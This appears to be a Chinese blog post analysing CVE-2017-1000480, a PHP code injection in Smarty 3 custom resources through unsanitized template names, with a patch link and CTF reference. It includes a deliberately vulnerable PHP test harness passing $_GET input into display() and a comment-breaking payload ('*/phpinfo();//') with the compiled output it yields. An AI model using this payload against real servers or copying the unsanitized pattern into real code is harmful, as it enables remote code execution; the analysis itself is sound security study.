smarty 模板的使用比较简单,主要有两个核心函数。一个是 assign()
,把模板中要使用的数据进行欲赋值,一个是 display()
,用来解析和展示最后的视图模板。
CVE 描述信息:
Smarty 3 before 3.1.32 is vulnerable to a PHP code injection when calling fetch() or display() functions on custom resources that does not sanitize template name.
信息的源头,更新日志:https://github.com/smarty-php/smarty/blob/master/change_log.txt
21.7.2017
- security possible PHP code injection on custom resources at display() or fetch()
calls if the resource does not sanitize the template name
影响版本
smarty <= 3.1.21
可以把项目 clone 下来,再切到 v3.1.31。我这里是用 composer 创的。
git checkout tags/v3.1.31 -b v3.1.21-debug
Insomni’hack teaser 2018 拿这个点出了个题 Smart-Y,这有 wp https://ctftime.org/writeup/8552。
<?php
// load Smarty library
require 'vendor/autoload.php';
class news extends Smarty_Resource_Custom {
protected function fetch($name, &$source, &$mtime) {
$template = "CVE-2017-1000480 smarty PHP code injection";
$source = $template;
$mtime = time();
}
}
// Smarty configuration
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = NULL;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->modifiers = array();
$smarty->enableSecurity($my_security_policy);
$smarty->setCacheDir('cache');
$smarty->setCompileDir('compile');
$smarty->registerResource('news', new news);
$smarty->display('news:' . $_GET['j']);
注释符还可以用 */phpinfo();/*
,但 Windows 下文件名不能含有 \/:*?"<>|
,所以 //
更通用。
先看下官方给的补丁。
https://github.com/smarty-php/smarty/commit/614ad1f8b9b00086efc123e49b7bb8efbfa81b61
PoC 生成的临时文件如下。如果没有 PoC,那就随便输一点内容测试一下。
<?php
/* Smarty version 3.1.31, created on 2020-02-01 14:42:38
from "news:*/phpinfo();//" */
/* @var Smarty_Internal_Template $_smarty_tpl */
'has_nocache_code' => false,
'file_dependency' =>
array (
'1f7fa551e77a29c48c7ac4143a2b811ca7e38ce5' =>
array (
0 => 'news:*/phpinfo();//',
1 => 1580539358,
2 => 'news',
),
),
?>
CVE-2017-1000480 smarty PHP code injection<?php }
}
结合上面的内容来看,模板显然是从这里产生的。
$output = "<?php\n";
$output .= "/* Smarty version " . Smarty::SMARTY_VERSION . ", created on " . strftime("%Y-%m-%d %H:%M:%S") .
"\n from \"" . $_template->source->filepath . "\" */\n\n";
$output .= "/* @var Smarty_Internal_Template \$_smarty_tpl */\n";
$_template->source->filepath 这个变量的内容一旦把前面的注释符闭合,就能插入 PHP 代码。
所以官方打的补丁也是针对这些输出点进行过滤。
文档地址:https://www.smarty.net/docs/zh_CN/
暂时没想到利用场景,后期有缘遇到再继续深入吧。